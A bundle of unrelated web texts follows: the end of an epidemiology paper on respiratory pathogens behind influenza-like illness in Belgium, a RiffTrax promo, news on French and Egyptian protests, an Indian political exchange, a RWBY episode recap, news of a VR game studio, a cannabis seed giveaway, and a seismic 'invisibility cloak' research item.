methods have been used, among others, to assess the burden of influenza in terms of general practice consultations, hospital admissions and deaths [25], in order to estimate the contribution of different respiratory pathogens to the seasonality of NHS Direct respiratory calls [26] and to validate other syndromic surveillance systems (e.g. absenteeism, pharmacy sales, laboratory submissions) for their capability of capturing respiratory pathogen activity [27]. More evolved regression methods have been used recently by Yang et al. [28], who used wavelet analysis to investigate the synchrony of clinical and laboratory surveillance in Hong Kong. The method we propose has the advantage of providing solid epidemiological interpretations. By using ratios of the estimated regression parameters, relative factors of disease underreporting by laboratory surveillance were obtained. Furthermore, the method allows interesting and interpretable visualizations of the model results.  The model results indicate that, in line with previous research, significant contributions were found for influenza viruses A and B, parainfluenza virus and RSV [12]. The contribution of M. pneumoniae was not found to be significant. The peaks of ILI consultations were mainly explained by influenza virus A and, to a lesser extent, by influenza virus B, whereas the excess in ILI consultations prior to the onset of the influenza epidemic was explained by RSV. A significant year round contribution was found for parainfluenza. By using ratios of the estimated regression parameters, we found that diseases due to RSV and M. pneumoniae were the least underreported by Belgian laboratory surveillance whereas diseases due to influenza viruses A and B were the most underreported. These large differences in relative measures of underreporting are due to case ascertainment bias and can be interpreted as a reflection of medical practice in Belgium. For instance, causes of childhood diseases are frequently tested, as a cautious principle of sampling is often adopted for young patients. RSV is such a childhood disease. Furthermore, the costs of RSV testing for children aged <2 years are reimbursed by compulsory Belgian medical insurance, explaining the (relatively) small amount of RSV underreporting. On the other hand, as ILI is a clinically based diagnosis with a symptom-related treatment, its causes are rarely tested during the influenza season, which explains the (relatively) large amount of underreporting for influenza viruses A and B. Causes of respiratory infections outside the influenza season could be more frequently tested, explaining the (relatively) small amount of underreporting for M. pneumoniae, being a non-seasonal virus circulating throughout the year.  The proposed regression model provides a good fit, indicating that ILI seasonality is well predicted by the seasonality of respiratory pathogens. This can also be regarded as a mutual validation of the independent clinical and laboratory surveillance systems. The model relies on two important assumptions. First, it is assumed that the pathogen-specific reporting probabilities are constant over time. This assumption seems epidemiologically plausible and, moreover, is hard to relax as it could lead to non-identifiable regression models. The second assumption that all ILI cases are caused by a limited set of respiratory pathogens (i.e. influenza virus A, influenza virus B, parainfluenza virus, RSV, M. pneumoniae) is obviously not correct. However, other pathogens with the potential to cause ILI are not monitored by Belgian laboratory surveillance and hence, could not be included in the regression model. Instead, an intercept might be included to implicitly account for the pathogens for which no or only limited information is available. However, this assumes that the contribution of these unknown or missing pathogens to ILI consultations is constant over time, which is clearly not the case. By excluding the intercept, as done in the current study, the model predictions are likely to locally underestimate the observed number of ILI consultations. These underestimations are informative, suggesting the activity of an unknown or missing pathogen. Future research might attempt to discover an explanation for the observed underestimation using other databases or published studies. For the Belgian data, such an underestimation was observed prior to the influenza epidemic of 2008 (see c), but could not be explained.  To conclude, the seasonality of ILI is well predicted by the seasonality of influenza viruses A and B, parainfluenza and RSV. In addition, relative factors of underreporting of respiratory pathogens in laboratory surveillance have been obtained indicating that RSV is the least and influenza A is the most underreported pathogen in Belgian laboratory surveillance. The results of this study are helpful in interpreting the data of clinical and laboratory surveillance, which are the essential parts of influenza sentinel surveillance. The proposed methods provide interesting epidemiological interpretations and are versatile. Future research might include an extension of the current analysis by including additional covariate information such as age and geographical location. Furthermore, although not explicitly investigated in this paper, the smooth modulation models for seasonal time series [19] allow the modelling of varying onset, duration and severity of the incidence peaks over time. Such an approach would yield interesting insights into the temporal variation in viral agents [29] and disease dynamics.
-At long last, the conclusion to the endless, seriously endless, so-unbelievably-endless-they-took-two-whole-movies-to-end-it endless Harry Potter saga is here, fully riffed and available in delicious RiffTrax flavored jellybean form!  Until this movie came out, a lot of people thought Harry Potter and the Deathly Hallows Part 1 was the end of the series, the “Part 1” thing being a cute ironic affectation like Leonard Part 6 or when you call a fat guy “Tiny.” But no, Harry Potter is back, and it’s time to watch his whimsical friends who we’ve goofed along with for seven full movies drop dead rapid-fire like background players in a Vietnam movie.  Part 1 was all about finding and destroying horcruxes, but Part 2 really ramps it up, following the kids as they… continue finding and destroying horcruxes. Like the film version of your nephew forcing you to watch him rack up Xbox achievements and trophies, but with more crying!  We couldn’t be prouder or happier to bring the saga to its conclusion. Much like Dobby the House Elf, we is free! And also like Dobby, we is dead. Very, very dead.  Join Mike, Kevin and Bill for one last hilarious broomstick ride into the ultimate Quidditch bloodbath, Harry Potter and the Deathly Hallows Part 2!
-In France, tens of thousands have rallied against labour reforms President Emmanuel Macron says will make hiring and firing easier. Jean-Luc Melenchon, the leader of the far-left ‘France Unbowed’, led the demonstration in Paris. He called on the trade unions not to give up the fight after earlier protests appeared to be fizzling out.  “You’ll see that will be the start of something. It will ignite a desire to fight, a desire to come together. It’ll also be a march for dignity. It’s the insulted who are here. The so-called slackers, or drama queens. This is our reply,” said Melenchon.  His response appears to be a reaction to a comment made by Macron in May, when he joked about the French neuroses.  The controversial reforms, which have now been signed into law, will give companies more power over working conditions.  However, opponents claim they are an attack on workers’ rights.  Melenchon is, polls suggest, Macron’s strongest opponent.
-New Delhi: Citing the Global Hunger Index, Rahul Gandhi has attacked the government in a veiled manner, evoking a sharp reaction from Union minister Smriti Irani who said the Congress vice-president was out to "malign" the nation in his bid to run down Prime Minister Narendra Modi.  Gandhi tweeted a news report on the Global Hunger Index along with a Hindi couplet by poet Dushyant Kumar which read: "bhookh hai to sabr kar, roti nahi to kya hua, aajkal dilli mein hai zer-e-behas yeh mudda (If you are hungry, be patient, what if bread is not available, the issue is being discussed in Delhi."  Irani, the Minister for Information and Broadcasting and Textiles, responded to Gandhi's tweet in a similar fashion. "Ae satta ki bhookh, sabr kar, aankde sath nahi to kya, khudgarzon ko jama kar, mulk ki badnami ka shor toh macha hi lenge (hey hunger for power, be patient, what if you don't have the numbers, you can collect selfish people, noise can be made to malign the country)," she wrote.  In another tweet, she said, "Not surprising that in his keenness to run down the Honourable prime minister, Rahul Gandhi maligns the nation."  Along with this tweet, Irani posted a statement by health minister JP Nadda which read, "Facts vs Fiction on Global Hunger Index to enlighten people who are keen to run down our country by twisting facts."  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-There comes a time in our lives when we have to decide what we truly want. For example, I want an infinite supply of Kit-Kats, a fashion sense Noel Fielding would be envious of, and for RT to finally release Day 5. For the characters of RWBY, I imagine they’d want things to stop being so sad and “oh god we’re about to die”-y all the time. Hang in there guys, the beach episode is coming, I’m sure of it! In this week’s recap of pain, Ruby goes to bizarre lengths to save her sister’s soul, Raven Branwen continues to exceed parental expectations in a way John Winchester would be proud of, and Pyrrha can’t escape her destiny, fall leaves, or montages. For previous episode recaps check out the RECAP MASTERPOST, but for your chance to win a shiny new set of steak knives, click the KEEP READING below!  Cheers (all eleven seasons) to all those who read, laughed, liked, reblogged, shared, commented, absorbed via osmosis, snorted, sauteed with a side of mushrooms, took a magic carpet ride with, defeated seven evil exes for, suffered through Battle Before Dawn on Hector Hard Mode for, or genetically spliced a fly’s DNA with tragic results with last week’s recap. We’re two thirds into the season, which means - if my math isn’t failing me - we’ve got four episodes left, and if they’re anything like these last three, we’re in for a hell of a ride. Or, again, beach episode arc. Don’t think the traumatised fanbase would mind at this point, really.  We begin the episode in Team RWBY’s dorm, as the team suffers through the comedy stylings of General James “Kramer” Ironwood.  As you’d expect, the team is busy protesting Yang’s innocence - sans a silent Blake, who refuses to protest for anything less than an actual thing worth protesting, like a race war, or the unjust cancellation of the CW show Reaper.  Thankfully, Yang isn’t, y'know, in jail or anything, and the whole thing’s being chalked up to stress and adrenaline. Ironwood relates the idea of seeing things on the battlefield - or after - while rubbing his potentially robot arm, so, y'know, hinty hint hint of some kind there.  But in the end, it doesn’t matter if Yang believes Mercury attacked her first. The whole world saw otherwise, and the outcry’s worse than after Janet Jackson performed at the Superbowl.  Her Vytal Festival tournament days are over.  And so are Ironwood’s explaining of how Yang’s Vytal Festival tournament days are over. Ironwood away!  It’s not surprising Ruby believes in Yang, but I feel that Weiss being the same is kind of underlooked in this week’s reactions by folk. The Weiss of Volume One would not have been so quick to support, if at all. But, not only has she grown as a person, this is her buddy Yang! They designed a ball and fought in a doubles rounds against two memes together! If that doesn’t forge a bond, what will?  So now attention turns to Blake, in the throes of being her quiet self, and she… can’t join Ruby and Weiss on the midnight train to FreeYang2K16 Town.  I wasn’t shocked at all by this, though the team are.  But, I mean, c'mon! Blake sees a friend do something crazy and she thinks of her last friend who did something crazy. It’s exactly what people do when they’ve been through some crap: they doubt, they fear, they’d even start to wonder if they’re the root cause of it.  Blake not believing in her made Yang cry, which was admittedly less fun, but the tears turn to happy once Blake does. Again, shocking no one. We don’t have time for a whole arc of the team being split up, there’s too much to do!  In order to facilitate this doing of much things, RWB leaves Yang to her own devices.  Out in the hall, the extended family members poke their heads out.  We learn that, conveniently, Mercury and his team have been rushed off to Haven to be with Mercury’s family, so no one can get his side of the story, so Yang must be left alone to marinate for a while.  Which, again, less fun, but I’m comforting myself with the fact this incident has RWBYJNPR coming together as one. Ruby especially wishes Pyrrha the best of luck, in a very “we’ll wish Cedric Diggory to win the Triwizard Tournament because he’s Hogwarts’s champion” kinda way, though hopefully that doesn’t end in a “kill the spare” way…  But still! The family. The feels. These recaps became 150% RWBYJNPR OT8 4EVA trash since the start for good reason, and this is it. Unfortunately, like most families, they’re so focused on one troubled younger sibling’s drama to notice the redheaded middle child’s got problems of her own.  And so, Ruby plans to head off to the coliseum, and Blake and Weiss bail from watching anymore fight scenes to go get some caffeinated beverages.  Or whatever. Back in the JNPR dorm - flawless shifting from RWBY focus to JNPR in the scene, by the way - Nora begins to get Pyrrha pumped for her fight.  Real pumped.  Pumped with style.  Thankfully, she’s stopped before she can get to the Kegel exercises by Ren, finally giving in to the madness and getting a bit whacky himself. (Side note: Nora saying that P-Money’s fight might be “the most important fight of your entire life"… Hah.)  Guys. Guys. Guys. Look. Apron-wearing Ren confirmed.  That’s just defeatist talk, P-Money. Misty came back for a one-off special and then, like, two episodes a season later! And THEN never again!  Ren thinks Pyrrha’s mood is caused by concern for Yang - why would it be they’ve had like half a second of interaction together - and tries to poison her with some algae-filled deliciousness. Ugh. Who knew that under all his sane pink-streaked glory, Ren was secretly a health nut hipster. No wonder Nora jumps onto the straight man role here.  Which is rather nice, actually, seeing Nora actively holding Ren’s crazy back instead of the usual. Makes them feel more equal-y. In fact, the whole scene was rather nice overall. More team feels! And although I loved it, trust me I did, the fact that was exclusively Nora and Ren interacting with Pyrrha just sent so many "hey let’s have this happen before she dies/gets soul merged” kind of flags it hurt. Yeesh.  Jaune, who had been watching on in silent horror, steps in when he sees Pyrrha’s smile disappear again.  So the team heads out for a day, united as the Three Musketeers (see, that line’s funny because there’s actually four musketeers), and a forlorn Yang fornlornly watches, forlorn.  And is watched on by her drunken uncle. Who she probably smelled entering the room before actually she heard it, tbh.  Torchwick’s been in prison so long he’s discovering religion, just like Paris Hilton. #FreeTorchwick2K16 City, Population: Me.  Also, side note: it’s kinda weird how used to Qrow I am at this point. This is a guy who’s appeared in every episode since his first appearance in V3C2 and done some pretty meaty scene work since then. He’s very much less this mythical figure turned mythical presence, and is now just another guy hanging out, y'know? Like, when I first saw him I was like, “That’s the Qrow?! Dude!” and now I’m like, “Sup.” It’s nice.  So yeah, Qrow comes in swinging, accusing Yang of either being an assaulting assault who assaults things, or just regular crazy. Not quite sure if he’s just being blunt or sarcastic, or both, but he’s also vaguely on his least favourite niece’s side, so. Either way, Yang changes the subject with great gusto, to finally address the Raven-sized elephant in the room.  Yang talks about how Raven saved her from Neo, and Qrow knows she didn’t say a word in the process. Why? ‘Cause she keeps in touch with her brother, and not her daughter. And does so whenever she pleases. What.  Again: What. I mean, it’s kind of obvious or whatever, but at the same time, we never really thought Qrow was just going to say one day, “Oh btw your mom said hi.” Instead, you’d expect some grave mystery, some resentment or guilt that makes him dramatically never ever speak her name, and now Yang’s pressing on an open wound blah blah.  But nope. Raven talks to Qrow, Qrow doesn’t tell anyone. This is all there is. And recently, quoth the Raven had a tip for Qrow’s most recent assignment - boy that’s ominous - and left a message for Yang in the process.  The message does not make Raven sound like a particularly fun person to hang out with at parties. She’s saved Yang once, but she shouldn’t expect the same kindness again. Like it was inconvenient to her to save her daugher’s life in the first place. Jesus Christ, Raven, you’re writing the goddamned instruction manual on how to be a crappy parent, the actual hell.  Qrow explains this kind of behaviour from his sister is just Raven being Raven. She’s got “interesting” ways of looking at the world, to a point where even noted cynic Qrow doesn’t agree with. And, to top it all off, she’s dangerous. And while that doesn’t scream good person, it does belt out an hour long opera on the possibilities of a great character that I can’t wait to meet for more than a minute, dayum. Also, there is a slim possibility of Qrow being biased against his sister for reasons unknown, so maybe there’s a good explanation for her general life choices?  For example, Daftprodigy here on Tumblr had a great theory about Raven’s Semblance being the reasons she is the way she is. I’m personally angling towards Raven’s issues being somehow Maiden-related, given how it would tie into things so far this volume. Maybe Summer was involved, maybe not. Or maybe she’s not a good guy. We’ve had people theorising up and down about Raven possibly being in league with Cinder, or her boss, or a competitor with the same end result of… whatever. She’s something, that Raven. And, again, I’m definitely looking forward to meeting her properly… Which may happen very soon.  Like next couple of episodes soon! Qrow tells Yang to forget the incident at the tournament, because he has a lead on a possible location for Raven. And now it’s time for the buddy comedy we’ve all been waiting for.  Hells to the yeah. I love how this volume is coming together. We’ve gotten our Weiss arc, we’re waist deep in arcs for Yang and Pyrrha, we might be swinging by a quick Blake arc should Adam come along to ruin her and Weiss’s tea party, and then circle back into a Ruby development arc by the end of all this. Speaking of the Pyrrha arc, we now move on to find poor Pyrrha, who is being tormented to near Hitchcockian/Sam Raimi levels, both by the seasonally appropriate foliage -  - and flashes of her destiny.  Before she can get assaulted with further reminders thanks to a nearby bottle of maple syrup, something even sweeter shows up.  Aww Jaune, you romantic. If there’s any way to declare your romantic intent, it’s by giving cotton candy to them. It’s a real “I’ll love you even if all your teeth fall out” statement!  A nearby Nora shepherds Ren away from interrupting the fun, thus proving she was secretly the ultimate wingman all along. I’ve seen a fic or two where Cardin Winchester repays his debt to Jaune by getting him laid, but now we need the Nora versions. That chick would have detailed plans, plots, and schemes.  Yeah, I may make jokes about how much I miss Blake and Torchwick this volume, but the real loss is the annual nighttime rooftop scene for these two. Really letting down the team. Speaking of someone who constantly lets down teams - dodgeball ones mostly - Jaune decides to encourage Pyrrha in a heartfelt way by reminding her of what it means to believe in someone.  Belief is something of a recurring theme for this episode, be it Team RWBY in Yang, everyone in Pyrrha, and now Pyrrha in Jaune’s comes to the forefront as he tries to help her. Also, side note, one of the greatest things this episode did is confirm that Jaune’s parents know he’s at Beacon. No more “Jaune steals his family’s sword and runs away” plots in fics, no more “Why aren’t Jaune’s parents seeing him on TV fighting in the tournament and coming to get him?” questions from people. Nope. They know he went to Beacon, they just didn’t believe in his ability to stay there. Ouch. Thank Dust for P-Money, who gets something of a reward for all her troubles.  D'aww. The cotton candy is abandoned completely as Jaune gets to his point: Pyrrha believed in him, and it meant something to him. Just as Jaune treated Pyrrha like a normal girl, and that meant something to her. The parallels, the symmetry, the complimentary nature of these two… here and now, they’ve never seemed more together, two brilliant flames flaring brighter in each other’s presence, beating back the darkness as long as they can. Jaune just wants to help, and while there’ll come a time in like two minutes when his earnestness gets him magnetically thrown into a wall, it’s not now. Just being himself - a himself that’s had to grow so damn much emotionally, and is nailing it now - is enough for The Invincible Girl.  You finally did it, RWBY. You finally made me well and truly want to call them an OTP. And yeah, it’s probably only because I know it’s going to end in tears, but still. Way to go. You finally did it, RWBY. We’ll all be crying soon.  I have some pretty solid jokes planned for the rest of the recap not gonna lie, but… are they worth acknowledging what happens next? We end it here and call it a day, and we’re saved quite a fair amount of pain. We could create new adventures out of all the screencaps of everything so far! How The Torchwick Stole Christmas! Invasion Of The Shadowy Background People! Sage’s Odyssey, Volume Six! And Pyrrha and Jaune stay there, and their lives will be forever autumn… Which is probably what the conspiring local fall leaf population wants. For their secret plans, plots and schemes.  The moment can’t last. The recap continues. P-Money is snapped back to reality. Oh, there goes gravity. And now she tries valiantly to broach the topic of her impending doom with her J-Bank.  For all her life, Pyrrha has believed destiny - there’s that belief theme again - to be a final goal, and herself to be Destiny’s Child, just without the infighting and diva-ness. She didn’t expect what that destiny would look like, in the end. She didn’t expect that she’d find friendship and love, and that she might have to sacrifice them and get her soul devoured by a hungry hungry Fall Maiden’s soul hippo. The uncertainty is killing her, and not even Jaune’s attempt to call back to the Volume Two Opening by putting his hand on her shoulder works.  It doesn’t work. She’s too caught up in just how messed up her situation is. I summed up a couple of recaps ago just how crazy screwed up the position she’s been put in by Ozpin’s gang of peer pressurers, but damn, man, this hurt. And Jaune has no idea how to handle her freaking out.  But he tries anyway. Something best intentions something paved roads to hell something. He has no reason to believe her doubt over saving the world has anything to do with her very sense of self getting unselfed, so he encourages her. She can’t let anything stand in her way.  Yeah, no need to be a downer, Pyrrha. With your powers you can do some real good, like bring back the CW show Reaper!  Look, that show had Ray Wise as the Devil! It does not get much better than that. Oh, and speaking of the devil, the writing here is like a solid kick in the crotch region. Jaune sincerely thinks he’s doing the right thing in believing in her, and we love him for it, but all Pyrrha can hear is that he’s telling her it’s cool to go off and go full Ambyrrha. Her emotions are off the charts, and Jaune’s attempts to comfort her just sets her off in a way we’ve never seen from her.  Jaune is sent flying into the nearest - hopefully not load bearing - column. Which, again, just ouch. And not just Jaune’s spine. Our hearts will not go on after this one. Although, probably a good thing they weren’t on a roof, huh. Also, many feet below the school, Amber sighs because P-Money just screwed up her future chances with the best blonde noodly guy in town. He brought you cotton candy! C'mon Pyrrha!  It’s crazy how much this parallels their other arcs. Like, in Volume One Jaune’s problems and doubts made him push Pyrrha away as she tried to help, and in Volume Two, it was both of them that were having the problems. And now it’s Pyrrha having problems, and Jaune being pushed away… It’s like a perfectly palindromic bar graph or something. Of pain!  And she runs. She runs because she’s sorry, because she’s lost, because she’s facing a life-changing choice. Redhairedvictor summed it up best about Pyrrha being at Achilles’s crossroad, and unfortunately this thing does have the Greek tragedy vibes going strong. And she’s left poor Jaune, who’s of course already forgiven her and still cool to go steady, to wonder just what the hell happened.  Across the campus, where things are less painful, Ruby gets in line to catch a ride to Amity Colosseum, and then catches something else: a Pokemon Snap cosplayer in her natural habitat.  It’s our favourite bunny person, and we find her taking pictures of our favourite monkey person. Velvet’s doing something new, so… good for her!  Ruby heads on over to say hello -  - and gets a glimpse of what the Fatal Frame Bun’s future collage is going to look like.  Velvet’s a real Britta when it comes to her photography, as it turns out, but I’m sure there’s a reason for it. Like the common consensus that she was taking a picture of Sun’s weapon - no, not his abs, the less effective bo staff shotgun nunchunks - instead of just a bad one of him. Since the camera goes into her dreaded box, there’s all kinds of wild theories involving her being able to conjure copies of what she has photos of or whatever, basically Unlimited Blade Bunny Works. Not bad for a character originally meant to be a one-off way back when.  But that’s enough of that. Velvet helpfully informs Ruby about Coco’s own hallucinatory experience on the battlefield against Emerald and Mercury.  To her credit, Detective Rubabble starts to put the pieces together almost immediately. She’s got a good mind for the detective game, just not the alcoholism and noir monologues. Not yet, anyway.  Oh, and Velvet snaps her picture, the nerd. I’m sure that won’t come up at some point.  Now to Amity Colosseum, on the eve of another, hopefully less broken leg-y, battle. Ruby takes her seat by herself, with Yang off buying Cheetos for her road trip with Qrow and Weiss and Blake no doubt staring at each other lovingly across a plate of scones, and then locks eyes with a familiar face all the way across the stadium…  A familiar face that’s supposed to be in Haven! Oh no! Ruby bails for the nearest maintenance tunnel, and then sees yet another familiar face.  Just so we’re clear, Mercury was told to “lay low until the end” by Cinder. Hanging out in maintenance tunnels is laying low, and the end may be a little sooner than expected, so it’s no big deal he’s there. Yeah, there’s a chance this Merc is just Emerald’s semblance at work - or Neo, I’m sure someone’s theorised with complete seriousness - but still. It’s more of a problem for Ruby, really…  'Cause, like any good noir detective, she’s at the wrong place at the wrong time. Her mind races as she hears the match-up happening in the stadium, and, as Mercury prepares every murdering bone and bolt in his body, Ruby realises what’s about to happen.  Bad things. Bad things are about to happen. Because who’s in the fight to come? The stars of Cinder’s newest episode of Remnant Freaks Out? Why, it’s exactly who we’ve expected.  And yet, the scary scary music does not make us feel any better about this actually happening. Because it is. Happening. Something I remember writing down as a half-thought notion in my Volume Two Opening Recap. Something that’s been building in our heads as a possibility for drama, a potential for tragedy, a likelihood for tears. Pyrrha Nikos V Penny Polendina. Place your bets.  I bet on pain.  So here we are. On the eve of the war, five minutes to midnight, and, well, I’ve got something surprising to say: I don’t think either Pyrrha or Penny are dying in this fight. Yes yes, I know, it’s still me writing this, don’t worry. The thing is, as ouchy as it’d be, there’s still four episodes left, and I just don’t kinda see something so permanent happening and then we get three episodes of aftermath of a big death. One episode or two of aftermath mixed in with the more traditional-y finale thing, maybe, but not three. It helps that four whole episodes feels like enough time to do some wild stuff; yes, maybe either of the Doomed P-Named Duo are taken out here so that Team RWBY can take over the arc prominence until the end, but I don’t super really think so?  Like, something bad that’s going to happen in this fight, duh. Cinder’s planning for it, we’re all expecting it, it just seems inevitable. Pyrrha’s unchecked emotions could cause her to trash Penny, Penny could get taken over by Cinder and have to be put down, et cetera. The aftermath of this will have Grimm bash down some kingdom walls, Adam’s White Fang do their thing, and probably somehow end with Amity Colosseum finally falling out of the frickin’ sky… Usual stuff. We don’t know the specifics, however, but a death might not be it. It could lead Pyrrha down the path of accepting her destiny and dying (either actually or soul-y), yeah, but I have a good feeling about Penny’s survival chances, if only for one thing: she said in V3C5 she has a plan to stay at Beacon forever. That kind of line is put in there for one of two set-ups. Either Penny gets a chance to execute that plan (maybe in a way no one expects when she becomes the new P on JNPR come Volume Four if that’s how it goes), or she calls back to it in some kind of sad death quote as she shuts down in Ruby’s arms. That kinda thing.  And there’s other stuff to consider, for sure. Like Emerald’s part in this, and Mercury’s. Are they there to finish the job on one of the girls if they don’t die? Are they there just to cause chaos? Secure an exit? Is Emerald going to use her mind semblance on Pyrrha in some way to make her go all out on Penny in a new way (Like, making it look like Penny’s attacking Jaune…)? What’s Ruby’s part in this? Will she be able to stop the fight and save her friends? Meanwhile, are Blake and Weiss about to get targeted? A former White Fang member and a Schnee seem like ripe targets for some kind of shenanigans, so… Also, will Yang and Qrow’s hunt for Raven be shown here or pushed back? How’s that all going to connect? And will the episode end on a horrible cliffhanger and then we’re doomed for a two week hiatus? That one’s probably a yes…  Yeesh. This is just going to be a thing. Maybe even a thing and a, dare I say it, half. I can’t believe things are getting this intense. Yeah we dreamed of such possibilities way back when, but to see it playing out? The uncertainty of what’s in store? That’s just wild. And we’ve still got like over an hour of the season left to play out… A lot of things can happen in that amount of time. Just look at the back half of Red Vs Blue Season 13. Oh god. Is next episode going to be RWBY’s Armonia Part Two? Miles why. Kerry why. RWBY why.  Time to pull on out with my sanity intact. Best of luck with the next episode, no matter what happens - c'mon beach episode! - and thanks all for reading!
-Just earlier today, Justin Roiland, the creator of the comedy sci-fi show Rick and Morty, announced a new VR games company with a comic. The new VR studio, Squanchtendo, has been founded by the aforementioned Roiland as well as Tanya Watson, an ex-producer at Epic Games who worked on series like Gears of War and Bullet Storm.  According to the official site, the studio is devoted to creating games that they would want to play themselves along with creating experiences that people want to share. Squanchtendo is currently looking to hire interested candidates in all areas from production, design, and VR development.  Roiland is no stranger to video games, as Rick and Morty has previously referenced gaming in all sorts of ways. One clip famous among gamers features Rick scheming to flip Nintendo's limited edition Majora's Mask New Nintendo 3DS XL for cash, a reference to the famously high demand the system had in real life.  Earlier this year Rick and Morty even got its own smartphone game based on Pokémon, where players capture and battle more than fifty different versions of Morty, called "Pocket Mortys."  But Virtual Reality isn't unfamiliar to Roiland either. Rick and Morty once featured an impressively forward-thinking bit about a VR game called "Roy," where players live out the entire life of some guy named Roy, bending their perception of in-game time to extend an entire human lifetime. More recently Adult Swim announced a Rick and Morty VR game called Virtual Rick-ality, which you can learn more about right here.  With the news of Squanchtendo, it would seem Roiland is more serious about virtual reality than just a few cartoon gags. Perhaps Roy will become a reality one day.  You can find the comic Roiland created to announce Squanchtendo below.  If you're interested in more information, Squanchtendo's official site gives a good look at the company through the lens of the humor stylings of Roiland.
-Fresh off last weekend’s “smoke-in,” pro-pot activists plan to return to the White House this weekend—but this time to give away free cannabis seeds.  Last Saturday, about 200 people protested the government’s pot laws by gathering in front of the White House. At 4:20 p.m., the group started smoking marijuana as an act of civil disobedience.  The whole thing was topped off with a massive, 50-foot-long inflatable joint that protestors carried like a parade float.  Now, it looks like the White House’s pot-themed activity isn’t over yet. Instead of smoking marijuana, however, this weekend’s event is all about growing marijuana.  What time are the free cannabis seeds being given away?  Starting at 4:21 p.m. this Saturday, right in front of the White House, people can show up and get free cannabis seeds.  They can also bring cuttings from plants they’re already growing and trade them with others, or give them away to somebody else. The whole idea is to allow people easy and free cannabis seeds and plant material so they can grow their own cannabis plants.  The seed giveaway is being planned as another form of protest against marijuana prohibition. But organizers also see it as an effort to build the cannabis community.  The event is being organized largely by the activist group DCMJ. That group helped push to get marijuana legalized in Washington, D.C. DCMJ will also be teaming up with other cannabis activists and groups for this weekend’s free cannabis seeds giveaway.  Where can you get the free cannabis seeds?  They’ve put on similar events in the past. Usually the free cannabis seeds giveaway takes place in a private residence or a bar, but this year they decided to be as open and public about it as they could.  So they chose to have the event in the same place as last weekend’s protest: right in front of the White House.  “We decided to keep the pressure on the president,” said DCMJ co-founder Nikolas Schiller.  Schiller also said that at last weekend’s smoke-in, “people broke the law by openly consuming in order to change the law.”  “The free cannabis seeds, on the other hand, is about complying with the law and giving others the freedom the law allows.”  In Washington, D.C. it’s legal for anyone older than 21 to possess up to two ounces of marijuana. And people living there are allowed to grow up to six marijuana plants in their homes.  (Photo Credit: TechTimes)
-CAIRO (Reuters)- - Protests erupted at universities across Egypt on Sunday, condemning a court decision to drop criminal charges against Hosni Mubarak, the president whose ouster in the 2011 uprising raised hopes of a new era of political openness.  Anti-Mubarak protesters shout slogans against government and military rules after the verdict of former Egyptian President Hosni Mubarak's trial, around Abdel Moneim Riad square in downtown Cairo November 29, 2014. REUTERS/Amr Abdallah Dalsh  Hundreds of demonstrators gathered at Cairo University, waving pictures of Mubarak behind bars and demanding the “fall of the regime”, the rallying cry of the Arab Spring uprisings that shook governments from Tunisia to the Gulf in 2011.  Police stood ready at the gates to bar students that sought to take their demonstration into the streets.  An Egyptian court on Saturday dropped its case against Mubarak over the killing of protesters in the 2011 uprising that ended his 30-year rule.  The ruling was seen by activists as the latest sign that the rights won during the revolt are being eroded.  While the decision could be met with a rebuke from Washington, it is unlikely to upend a relationship that has strengthened during the U.S.-led campaign against Islamic State. Cairo’s strong public support for the campaign demonstrates how far Egypt has come in restoring its place as a premier U.S. partner in the Arab world since last year’s authoritarian crackdown in Egypt and military takeover.  Although the United States was a proponent of the Arab Spring, Washington in June renewed ties with Cairo and its current government, led by another strongman, Abdel Fattah al-Sisi.  In Tahir Square, the symbolic heart of the revolt that ousted Mubarak, two people were killed and nine were wounded on Saturday evening, when security forces fired tear gas and birdshot to disperse about 1,000 protesters who attempted to enter the area.  Security forces closed a Cairo metro station, the state news agency said, an apparent effort to prevent gatherings downtown.  Clashes also erupted at Zagazig University in the Nile Delta, and the state-owned Al-Ahram newspaper said 11 students were detained after setting fire to a building.  Many Egyptians who lived through the rule of former airforce officer Mubarak view it as a period of autocracy and crony capitalism. His overthrow led to Egypt’s first free election. But the winner, Mohamed Mursi, was ousted last year by Sisi, another military officer who won a presidential vote in May.  Egyptian authorities have since jailed Mursi and thousands of his Muslim Brotherhood supporters, sentencing hundreds to death in mass trials that drew international criticism.  By contrast, Mubarak-era figures have been released and new laws curtailing political freedoms have raised fears among activists that the old leadership is back.  Related Coverage Muslim Brotherhood leaders jailed for insulting court a day after Mubarak verdict  “Down with Hosni Mubarak, down with every Mubarak, down with military rule” said one Facebook page that called for protests against the ruling.  The verdict has also prompted a deluge of online cartoons about the return of the old guard.  One animated video begins with a group of Mubarak-era politicians in a darkened cell facing an array of charges. One by one they are released and end up celebrating their freedom with their former president, singing “yes, we are back”.
-Research at the University of Liverpool has shown it is possible to develop an ‘invisibility cloak’ to protect buildings from earthquakes.  The seismic waves produced by earthquakes include body waves which travel through the earth and surface waves which travel across it. The new technology controls the path of surface waves which are the most damaging and responsible for much of the destruction which follows earthquakes.  The technology involves the use of concentric rings of plastic which could be fitted to the Earth’s surface to divert surface waves. By controlling the stiffness and elasticity of the rings, waves travelling through the ‘cloak’ pass smoothly into the material and are compressed into small fluctuations in pressure and density. The path of the surface waves can be made into an arc that directs the waves outside the protective cloak. The technique could be applied to buildings by installing the rings into foundations.  Sebastien Guenneau, from the University’s Department of Mathematics, who developed the technology with Stefan Enoch and Mohamed Farhat from the Fresnel Institute (CNRS) in Marseilles, France, explained: “We are able to ‘tune’ the cloak to the differing frequencies of incoming waves which means we can divert waves of a variety of frequencies. For each small frequency range, there is a pair of rings which does most of the work and these move about a lot – bending up and down – when they are hit by a wave at their frequency.  “The waves are then directed outside the cloak where they return to their previous size. The cloak does not reflect waves – they continue to travel behind it with the same intensity. At this stage, therefore, we can only transfer the risk from one area to another, rather than eliminate it completely.”  He added: “This work has enormous potential in offering protection for densely populated areas of the world at risk from earthquakes. The challenge now is to turn our theories into real applications that can save lives – small scale experiments are underway.”  Seismic waves also include coupled pressure and shear body waves which are less destructive than surface waves. Sebastien Guenneau and Sasha Movchan at the University of Liverpool, together with Michele Brun at Cagliari University, have designed an ‘elastic’ cloak to protect against these particular seismic waves and the team is currently seeking a suitable material to accommodate the elastic parameters of the cloak.
